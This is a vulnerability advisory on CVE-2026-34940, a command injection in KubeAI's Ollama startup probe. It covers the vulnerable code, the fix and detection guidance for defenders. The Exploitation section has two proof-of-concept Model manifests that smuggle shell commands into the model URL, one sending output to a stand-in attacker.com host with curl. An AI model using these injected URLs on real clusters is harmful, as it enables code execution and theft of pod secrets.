CVE-2026-34940

CVSS 8.7 · High Patched
Type
Vulnerability research
Published
Reading time
8 min read
Author
rootzero
Lire en français
Lire en français →

CVE-2026-34940: OS command injection in KubeAI through the Ollama startup probe

A user allowed to create KubeAI Model resources could run shell commands inside model pods by adding metacharacters to the model URL.

For your decision

Impact
A model URL can inject commands into its pod and expose secrets accessible to that pod.
Conditions
The attacker needs permission to create or modify a Model resource. This does not automatically establish cluster compromise.
Recommended action
Upgrade to KubeAI 0.23.2 or later and review permissions on Model resources and their service accounts.

Advisory facts

Product
KubeAI
Package
go · github.com/kubeai-project/kubeai
Affected versions
≤ 0.23.1
Fixed in
0.23.2
CVSS
8.7 High
Weakness
CWE-78
Access needed
Account required
Advisory published
Credit
rootzero

Investigation summary

KubeAI built the startup probe of Ollama model pods by formatting the Model URL into a bash -c script. Anyone allowed to create or update Model resources, a right often delegated to tenants who are not cluster administrators, could append shell commands to the URL and have the kubelet run them inside the model pod, next to its secrets and service account token. Fixed in 0.23.2.

A model URL reaches bash -c

We started with the Kubernetes permission to create a Model resource: which commands inside a model pod does that permission indirectly control? The vLLM engine passed the model as an argument, without a shell. For Ollama, KubeAI instead built a startup-probe script with fmt.Sprintf and executed it through bash -c. We followed the Model URL into that script and checked that its parser accepted command separators.

We built a manifest with a shell marker in the ollama:// URL, then checked in the code that the pvc:// ?model= variant reached the same command construction. The retained record, however, contains neither a kubectl transcript nor a marker read back from a pod. We reported the issue on 24 March 2026. KubeAI fixed the interpolation, released 0.23.2 and published CVE-2026-34940 on 31 March; a broader rewrite of the probe followed in September. The PoC documents the source-to-script chain; an actual pod execution is not retained in our evidence. Effects beyond that depend on the pod’s service account and network.

The permission behind a model URL

KubeAI turns a Kubernetes Model resource into an inference pod. A team allowed to create that resource controls its model URL, although it may have no permission to run arbitrary commands in the resulting pod.

The Ollama engine has a particularity. A model can only be pulled through a running Ollama server, so KubeAI cannot prepare it in an init container. It uses the pod’s startup probe instead: the probe runs ollama pull, then ollama cp to give the model the name of the Model resource, then ollama run <name> hi to load it into memory before the pod is marked ready.

This design matters for the attack surface. In a shared cluster, the right to create Model resources is a natural thing to delegate to the teams that consume models, through ordinary RBAC. Those teams are usually not cluster administrators and usually do not hold pods/exec. The controller, on the other hand, turns whatever they write in the resource into pod specifications. Whether the content of a Model stays data all the way down is therefore a security question.

Comparing vLLM arguments with Ollama’s probe

The vLLM engine gave the expected answer. It passes the model reference to the server as an element of an argument array, "--model=" + vllmModelFlag, with no shell involved. Reviewing the Ollama engine for contrast showed a different construction: the probe script is assembled with fmt.Sprintf and handed to bash -c. The remaining question was whether anything upstream restricted the characters of the URL. The URL parser answered it: its capture group for the model reference is [^?]+, which accepts everything except a question mark, including ;, |, backticks and $().

The manifest prepared for commit ba1824e shows how a semicolon enters the script. We did not find a captured probe execution from a cluster.

Root cause

The probe script is built in internal/modelcontroller/engine_ollama.go:

// internal/modelcontroller/engine_ollama.go (0.23.1, lines 185-196)
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
    startupScript := ""
    if u.scheme == "pvc" {
        startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.modelParam, m.Name)
    } else {
        if u.pull {
            pullCmd := "/bin/ollama pull"
            if u.insecure {
                pullCmd += " --insecure"
            }
            startupScript = fmt.Sprintf("%s %s && /bin/ollama cp %s %s", pullCmd, u.ref, u.ref, m.Name)
        } else {
            startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.ref, m.Name)
        }
    }
    // ...
    return startupScript
}

The resulting string becomes the third element of an exec probe:

StartupProbe: &corev1.Probe{
    ProbeHandler: corev1.ProbeHandler{
        Exec: &corev1.ExecAction{
            Command: []string{"bash", "-c", startupProbeScript},
        },
    },
},

A Kubernetes exec probe does not involve a shell by itself: the kubelet asks the container runtime to execute the command array as is. KubeAI adds bash -c on purpose, to chain the pull, copy and run steps with &&, and in doing so turns the third element into a shell program. Two values reach that program unquoted: u.ref, the path of an ollama:// URL, and u.modelParam, the ?model= parameter of a pvc:// URL. Both come from parseModelURL() in model_source.go:

var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)

The query parameters are decoded with url.ParseQuery and model is used without any check. On the API side, the only validation of spec.url in the CRD was a CEL rule checking the scheme prefix, and no admission webhook inspected the rest. This is an OS command injection (CWE-78).

Exploitation

The first vector uses the path of an ollama:// URL:

apiVersion: kubeai.org/v1
kind: Model
metadata:
  name: poc-cmd-inject
spec:
  features: ["TextGeneration"]
  engine: OLlama
  url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
  minReplicas: 1
  maxReplicas: 1

The controller generates the following probe script:

/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && /bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject && /bin/ollama run poc-cmd-inject hi

The second vector uses the ?model= parameter of a pvc:// URL, with ${IFS} in place of spaces and a command substitution to send data out of the pod:

url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc && /bin/ollama run poc-cmd-inject-pvc hi

The attacker never executes anything directly. They write a resource, the controller writes the pod specification, and the kubelet runs the probe inside the Ollama container, repeatedly (a period of three seconds and a failure threshold of ten) until it succeeds. The expected contents of /tmp/pwned were the output of id; the retained record has no readback of that file from a pod. The public proof of concept contains both manifests.

Impact

The GitHub advisory scores the flaw 8.7 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N). PR:H reflects that the attacker must hold an RBAC grant on Model resources. S:C reflects that the impact lands outside the component that processes the input: the controller is the vulnerable code, the model pod is where the commands run.

The score does not show what the grant is supposed to mean. Creating a Model is meant to be a request to the operator (“serve this model”), and it ends up equivalent to pods/exec on the model pods, a permission that cluster administrators typically keep to themselves. Execution inside the pod could expose its environment variables, its mounted secrets (registry or object storage credentials used to fetch models, for instance) and its service account token. How far they can go from there depends on the permissions of that service account and on the network policies around the pod, but the privilege boundary that RBAC was meant to enforce is already crossed. The injected command also persists: it is part of the pod specification and runs again on every new replica.

The fix

KubeAI 0.23.2 was released on 2026-03-31 with commit ed6eb61 (#656). It closes the injection with input validation at two levels. The CRD now carries a pattern on spec.url, so the API server rejects a malformed resource before the controller sees it, and the parser applies the same restriction to the path and to the model parameter:

// internal/modelcontroller/model_source.go (0.23.2)
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([a-zA-Z0-9._:/-]+)(\?.*)?$`)
var safeQueryParamModelRef = regexp.MustCompile(`^[a-zA-Z0-9._:/-]+$`)

The same commit also rewrote the probe as a slice, but in a way that did not do what it intended:

Command: append([]string{"/bin/bash", "-c"}, startupProbeScript...),

bash -c treats only the next argument as the script and assigns the following ones to $0, $1 and so on. The probe of 0.23.2 therefore runs /bin/ollama alone. This is harmless from an injection standpoint, since positional parameters are never parsed as code, but it means the security of 0.23.2 rests on the regular expressions. The maintainers rewrote the probe in commit 37be050 (#733), released in 0.23.5 on 2026-09-30, whose comment describes exactly this behaviour. The new version uses the standard pattern: a constant script, and the values passed as positional parameters.

// internal/modelcontroller/engine_ollama.go (0.23.5)
script += `/bin/ollama cp -- "$1" "$2"`
// ...
return []string{"/bin/bash", "-c", script, "ollama-startup", source, m.Name}

With this construction, the model reference can contain any character without changing the program that bash runs, and -- keeps a reference that starts with a hyphen from being read as an option. Validation and safe construction now protect the same sink independently.

Detection and mitigation

  1. Upgrade KubeAI to 0.23.2 or later, preferably 0.23.5, and make sure the Model CRD is updated along with the controller, since part of the fix lives in the CRD schema.
  2. List existing models and inspect their URLs, for instance with kubectl get models.kubeai.org -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name} {.spec.url}{"\n"}{end}'. Any URL containing characters outside letters, digits and ._:/- before the query string, or a model parameter with such characters, deserves investigation.
  3. Inspect the startup probes of running Ollama pods with kubectl get pods -A -o jsonpath='{..startupProbe.exec.command}' and look for semicolons, pipes, backticks or $(.
  4. On clusters that cannot upgrade immediately, add a ValidatingAdmissionPolicy on models.kubeai.org that rejects any spec.url not matching ^[a-z0-9]+://[a-zA-Z0-9._:/-]+(\?[a-zA-Z0-9._:/=&-]*)?$.
  5. Review who holds create, update and patch on models.kubeai.org, and treat that grant as equivalent to code execution in model pods on unpatched versions.
  6. Use the Kubernetes audit log to find create, update and patch events on Model resources with unusual URLs, and runtime telemetry (Falco or equivalent) to flag shells, curl or wget started inside Ollama containers outside the expected ollama commands.

Timeline

Date Event
Before 2026-03-24 Proof of concept validated against commit ba1824e (head of the repository on 2026-03-21)
2026-03-24 Private report to the maintainers through a GitHub security advisory
2026-03-27 Fix merged (ed6eb61, #656)
2026-03-31 KubeAI 0.23.2 released, advisory GHSA-324q-cwx9-7crr published
2026-04-06 CVE-2026-34940 published in the NVD
2026-04-29 Write-up and proof of concept published
2026-09-30 KubeAI 0.23.5 released with the rewritten startup probe (37be050, #733)

References

  1. Vendor advisory · CVE-2026-34940 github.com/kubeai-project/kubeai/security/advisories/GHSA-324q-cwx9-7crr
  2. NVD entry · CVE-2026-34940 nvd.nist.gov/vuln/detail/CVE-2026-34940
  3. CVE.org record · CVE-2026-34940 www.cve.org/CVERecord?id=CVE-2026-34940
  4. MITRE CWE-78 cwe.mitre.org/data/definitions/78.html
  5. Project repository github.com/kubeai-project/kubeai
  6. Proof of concept and reproduction notes github.com/romain-deperne/CVE-2026-34940

Cite this advisory

rootzero. “CVE-2026-34940: OS command injection in KubeAI through the Ollama startup probe”. Vulnerability research, rootzero, 31 March 2026. https://rootzero.eu/en/research/cve/cve-2026-34940-kubeai-command-injection/

#Vulnerability research

Have your code audited before someone else does.

Your team needs to decide what to fix before a release or assess a critical dependency. We scope an engagement around that decision, with evidence and explained remediation priorities.